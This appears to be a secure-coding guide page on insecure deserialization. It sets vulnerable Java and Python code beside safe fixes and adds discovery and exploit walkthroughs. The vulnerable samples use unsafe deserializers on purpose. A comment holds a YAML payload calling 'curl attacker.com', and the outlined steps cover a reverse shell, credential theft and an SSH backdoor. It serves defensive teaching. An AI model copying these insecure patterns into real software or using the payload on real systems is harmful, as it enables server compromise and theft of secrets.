Deserialization

Insecure DeserializationUnsafe DeserializationObject Injection

Deserialization at a glance

What it is: The app deserializes attacker controlled input into objects. Constructors, magic methods, or gadgets execute during parsing.
Why it happens: Often leads to remote code execution via gadget chains
How to fix: Do not deserialize untrusted data to arbitrary objects; Use JSON or safe parsers bound to explicit types; Disable or remove unsafe formatters and loaders

Overview

Deserialization bugs happen when code turns untrusted bytes or text into live objects using native or powerful serializers. Many languages execute code, run hooks, or resolve types during parsing. Attackers craft payloads that instantiate gadget classes already present in your app or dependencies, triggering side effects like command execution or file access.

sequenceDiagram participant Browser participant App as App Server participant Deser as Deserializer Browser->>App: POST /import (binary serialized payload) App->>Deser: ObjectInputStream.readObject() Deser-->>App: Executes gadget during readObject App-->>Browser: 200 OK or error while side effects occur
A potential flow for a Deserialization exploit

Where it occurs

Common spots are import endpoints, cache or session restoration, message consumers, and admin tools that accept YAML or serialized blobs. Risky sinks include Java ObjectInputStream, .NET BinaryFormatter, PHP unserialize, Ruby YAML.load, and Python yaml.load with unsafe loaders.

Impact

Exploitation can run arbitrary code, access local files, or corrupt application state. Since the behavior occurs during parsing, traditional authorization checks may be bypassed.

Prevention

Avoid native object deserialization for untrusted data. Use JSON or similar simple formats and bind to concrete DTOs or records. Prefer safe loaders such as yaml.safe_load, and disable dangerous formatters entirely (.NET BinaryFormatter, Java objects). If you must accept complex formats, implement strict allow lists of types and validate schemas, with sandboxing and timeouts where available.

Examples

Switch tabs to view language/framework variants.

Spring, ObjectInputStream reads attacker controlled bytes

Controller deserializes request body with ObjectInputStream. Gadget chains in classpath can execute code during readObject.

Vulnerable
Java • Spring Boot — Bad
import org.springframework.web.bind.annotation.*;
import java.io.*;

@RestController
class ImportController {
  @PostMapping("/import")
  public String load(@RequestBody byte[] body) throws Exception {
    try (ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(body))) {
      Object obj = ois.readObject(); // BUG: native Java deserialization
      return obj.toString();
    }
  }
}
  • Line 9: ObjectInputStream on untrusted bytes can invoke gadget constructors and readObject()

Native Java deserialization executes magic methods of classes found on the server classpath. Attackers supply a crafted object graph that triggers those methods during readObject.

Secure
Java • Spring Boot — Good
import com.fasterxml.jackson.databind.ObjectMapper;
import org.springframework.web.bind.annotation.*;

@RestController
class ImportController {
  private final ObjectMapper mapper = new ObjectMapper();
  static class Item { public String name; public int qty; }
  @PostMapping("/import")
  public String load(@RequestBody String json) throws Exception {
    Item it = mapper.readValue(json, Item.class); // structured, typed
    return it.name + ":" + it.qty;
  }
}
  • Line 9: Use JSON binding to a concrete type instead of general object deserialization

Use JSON or another data format and bind to explicit DTOs. Never accept native serialized objects from untrusted sources.

Engineer Checklist

  • Eliminate native object deserialization on untrusted data paths

  • Use JSON or protobuf and bind to explicit, minimal types

  • In YAML, use safe_load with no permitted classes by default

  • Remove BinaryFormatter and Java ObjectInputStream from codebases

  • Sign or authenticate messages from trusted queues, still validate strictly

End-to-End Example

A Spring endpoint accepts an object import and uses ObjectInputStream on the request body. An attacker crafts a serialized gadget chain using classes present in the server’s dependencies and posts it to the endpoint. During readObject, gadget code runs.

Vulnerable
JAVA
// Java/Spring Boot - Vulnerable to deserialization attacks

import java.io.*;
import org.springframework.web.bind.annotation.*;

@RestController
public class ImportController {
    
    @PostMapping("/api/import-data")
    public ResponseEntity<?> importData(@RequestBody byte[] body) {
        try {
            // VULNERABLE: Deserializing untrusted binary data!
            // Attacker can send a crafted Java serialized object
            // containing a gadget chain (e.g., using Commons Collections)
            // that executes arbitrary code during readObject()
            ObjectInputStream ois = new ObjectInputStream(
                new ByteArrayInputStream(body)
            );
            
            // DANGEROUS: This line triggers gadget chain execution!
            Object obj = ois.readObject();
            
            // Process deserialized object
            if (obj instanceof UserData) {
                UserData data = (UserData) obj;
                return ResponseEntity.ok("Imported: " + data.getName());
            }
            
            return ResponseEntity.ok("Data imported");
        } catch (Exception e) {
            // Gadget may have already executed by this point
            return ResponseEntity.status(500).body("Import failed");
        }
    }
}

// Python/Flask - Also vulnerable
import yaml
import pickle
from flask import Flask, request

app = Flask(__name__)

@app.route('/api/import-config', methods=['POST'])
def import_config():
    config_data = request.data
    
    # VULNERABLE: Using unsafe YAML loader
    # Attacker sends: !!python/object/apply:os.system ["curl attacker.com"]
    config = yaml.load(config_data, Loader=yaml.Loader)  # DANGEROUS!
    
    return {'status': 'imported'}

@app.route('/api/restore-session', methods=['POST'])
def restore_session():
    # VULNERABLE: Unpickling untrusted data
    # Attacker can achieve RCE via pickle gadgets
    session_data = request.data
    session = pickle.loads(session_data)  # DANGEROUS!
    
    return {'session': session}
Secure
JAVA
// Java/Spring Boot - SECURE against deserialization attacks

import com.fasterxml.jackson.databind.ObjectMapper;
import org.springframework.web.bind.annotation.*;

@RestController
public class ImportController {
    
    private final ObjectMapper objectMapper = new ObjectMapper();
    
    @PostMapping("/api/import-data")
    public ResponseEntity<?> importData(@RequestBody String jsonBody) {
        try {
            // SECURE: Use JSON instead of Java serialization
            // Jackson ObjectMapper only deserializes to the specified type
            // No arbitrary code execution during deserialization
            UserData data = objectMapper.readValue(jsonBody, UserData.class);
            
            // Validate the data
            if (data.getName() == null || data.getName().isEmpty()) {
                return ResponseEntity.badRequest().body("Invalid data");
            }
            
            // Process safely deserialized data
            return ResponseEntity.ok("Imported: " + data.getName());
        } catch (Exception e) {
            return ResponseEntity.status(400).body("Invalid JSON");
        }
    }
}

// Define explicit DTOs - no generic Object deserialization
public class UserData {
    private String name;
    private String email;
    
    // Getters and setters
    public String getName() { return name; }
    public void setName(String name) { this.name = name; }
    public String getEmail() { return email; }
    public void setEmail(String email) { this.email = email; }
}

// Python/Flask - SECURE
import yaml
import json
from flask import Flask, request

app = Flask(__name__)

@app.route('/api/import-config', methods=['POST'])
def import_config():
    config_data = request.data
    
    # SECURE: Use safe_load instead of load
    # safe_load only constructs simple Python objects (dict, list, str, etc.)
    # No arbitrary Python object construction
    try:
        config = yaml.safe_load(config_data)
        
        # Validate the structure
        if not isinstance(config, dict):
            return {'error': 'Invalid config format'}, 400
        
        return {'status': 'imported', 'config': config}
    except yaml.YAMLError as e:
        return {'error': 'Invalid YAML'}, 400

# ALTERNATIVE: Use JSON instead of YAML
@app.route('/api/import-config-json', methods=['POST'])
def import_config_json():
    # SECURE: JSON only deserializes to basic types
    try:
        config = request.get_json()
        return {'status': 'imported', 'config': config}
    except Exception as e:
        return {'error': 'Invalid JSON'}, 400

# For session data, use signed cookies or JWT instead of pickle
from itsdangerous import URLSafeTimedSerializer

serializer = URLSafeTimedSerializer('secret-key')

@app.route('/api/create-session', methods=['POST'])
def create_session():
    # SECURE: Use signed serialization instead of pickle
    session_data = {'user_id': 123, 'role': 'user'}
    token = serializer.dumps(session_data)
    return {'token': token}

@app.route('/api/restore-session', methods=['POST'])
def restore_session():
    token = request.json.get('token')
    
    # SECURE: Verify signature and deserialize safely
    try:
        session_data = serializer.loads(token, max_age=3600)
        return {'session': session_data}
    except Exception as e:
        return {'error': 'Invalid or expired token'}, 401

Discovery

This vulnerability is discovered by identifying endpoints that accept serialized objects (Java, .NET, Python pickle, PHP serialize), then testing with known gadget chains or modified payloads that trigger unusual behavior or errors indicating deserialization.

  1. 1. Identify deserialization endpoint

    http

    Action

    Probe for endpoints that accept binary serialized data formats

    Request

    OPTIONS https://app.example.com/api/import

    Response

    Status: 200
    Body:
    {
      "allowed_methods": [
        "POST",
        "OPTIONS"
      ],
      "accepts": [
        "application/octet-stream",
        "application/x-java-serialized-object"
      ],
      "note": "Endpoint accepts serialized Java objects"
    }

    Artifacts

    http_response_headers allowed_content_types deserialization_endpoint
  2. 2. Test with benign serialized object

    http

    Action

    Send valid serialized Java object to confirm deserialization occurs

    Request

    POST https://app.example.com/api/import
    Headers:
    Content-Type: application/x-java-serialized-object
    Body:
    {
      "note": "Binary serialized String object containing 'test'",
      "hex": "aced00057400047465737"
    }

    Response

    Status: 200
    Body:
    {
      "message": "Import successful",
      "imported_object": {
        "class": "java.lang.String",
        "value": "test"
      },
      "note": "Object successfully deserialized using ObjectInputStream"
    }

    Artifacts

    deserialization_confirmed object_processing
  3. 3. Probe for vulnerable gadget libraries

    http

    Action

    Test for presence of commons-collections or other gadget libraries

    Request

    POST https://app.example.com/api/import
    Headers:
    Content-Type: application/x-java-serialized-object
    Body:
    {
      "note": "Serialized object referencing org.apache.commons.collections.Transformer",
      "hex": "aced0005737200336f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e..."
    }

    Response

    Status: 500
    Body:
    {
      "error": "Import failed",
      "stack_trace": "java.io.ObjectInputStream.readObject...\norg.apache.commons.collections.functors.InvokerTransformer...",
      "note": "No ClassNotFoundException - commons-collections library is present and vulnerable"
    }

    Artifacts

    vulnerable_library_confirmed commons_collections_present gadget_chain_viable
  4. 4. Verify code execution with timing test

    http

    Action

    Use sleep() gadget to confirm arbitrary code execution during deserialization

    Request

    POST https://app.example.com/api/import
    Headers:
    Content-Type: application/x-java-serialized-object
    Body:
    {
      "note": "Gadget chain that executes Thread.sleep(5000)",
      "generated_with": "ysoserial CommonsCollections6 'sleep 5'"
    }

    Response

    Status: 200
    Body:
    {
      "message": "Import successful",
      "processing_time": "5243ms",
      "note": "Response delayed by exactly 5 seconds, confirming gadget chain executed"
    }

    Artifacts

    rce_confirmed timing_attack_success gadget_execution_proof

Exploit steps

An attacker exploits this by crafting malicious serialized payloads containing gadget chains that execute arbitrary code during the deserialization process, often leading to complete server compromise.

  1. 1. Generate reverse shell payload

    Create malicious serialized object using ysoserial

    cli

    Action

    Generate CommonsCollections6 gadget chain for reverse shell

    Request

    Response

    Artifacts

    payload_file gadget_chain_ready reverse_shell_payload
  2. 2. Deliver malicious payload to trigger RCE

    POST serialized gadget chain to import endpoint

    http

    Action

    Upload crafted deserialization payload to execute reverse shell

    Request

    POST https://app.example.com/api/import
    Headers:
    Content-Type: application/x-java-serialized-object
    Content-Length: 1847
    Body:
    {
      "note": "Binary payload from ysoserial containing reverse shell gadget chain",
      "file": "payload.ser"
    }

    Response

    Status: 200
    Body:
    {
      "message": "Processing import...",
      "note": "Gadget chain triggered during readObject(), reverse shell executed before response sent"
    }

    Artifacts

    gadget_chain_triggered code_execution_started reverse_shell_connecting
  3. 3. Establish reverse shell connection

    Receive incoming reverse shell

    cli

    Action

    Listener receives connection from compromised server

    Request

    Response

    Artifacts

    shell_established server_compromised interactive_access
  4. 4. Extract credentials and secrets

    Access application configuration and environment

    cli

    Action

    Read sensitive files to extract database credentials and API keys

    Request

    Response

    Artifacts

    database_credentials aws_keys stripe_api_key jwt_secret complete_environment_compromise
  5. 5. Establish persistent backdoor

    Install SSH backdoor for persistent access

    cli

    Action

    Add attacker SSH key to authorized_keys for ongoing access

    Request

    Response

    Artifacts

    persistent_backdoor ssh_access ongoing_compromise

Specific Impact

Arbitrary code execution on the application host by leveraging gadget classes already present in dependencies. Attackers can read secrets, modify data, or drop backdoors.

Because execution occurs during parsing, standard authorization middleware and application logic may never run, so logs show only a benign import call.

Fix

Replace native deserialization with JSON bound to explicit DTOs. Add validation and size limits. Remove or block dangerous deserializers in the build and add CI checks.

Detect This Vulnerability in Your Code

Sourcery automatically identifies deserialization vulnerabilities and many other security issues in your codebase.

Scan Your Code for Free